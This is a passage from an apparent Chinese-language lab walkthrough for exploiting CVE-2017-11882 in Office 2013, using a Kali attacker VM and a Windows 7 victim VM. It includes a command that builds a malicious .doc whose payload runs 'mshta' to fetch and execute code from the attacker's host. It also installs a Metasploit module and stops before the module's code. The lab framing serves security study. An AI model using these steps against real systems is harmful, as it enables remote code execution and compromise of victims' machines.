中间环节出现，msf连接数据库失败的情况，解决方法：https://www.cnblogs.com/justforfun12/p/5205804.html

1.制造条件

这里搭建两台虚拟机进行测试！

测试机配置信息：

操作系统	Win7_x64 企业版
Office版本	Office 2013
防火墙状态	开启
IP	192.168.1.103
系统语言	Chinese

操作系统	Kali 2.1 中文
IP	192.168.1.104

首先在kali下安装nginx，或者tomcat应该也是可以的，首先将生成的doc文件放在/usr/share/nginx/html目录下，方便被攻击的机器获取doc文件。

启动nginx服务：systemctl start nginx

使用Command43b_CVE-2017-11882.py生成doc文件

python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc";; -o cev2.doc

# 将下载好的漏洞模块放在msf任意目录下

root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

cve_2017_11882.rb的内容如下：
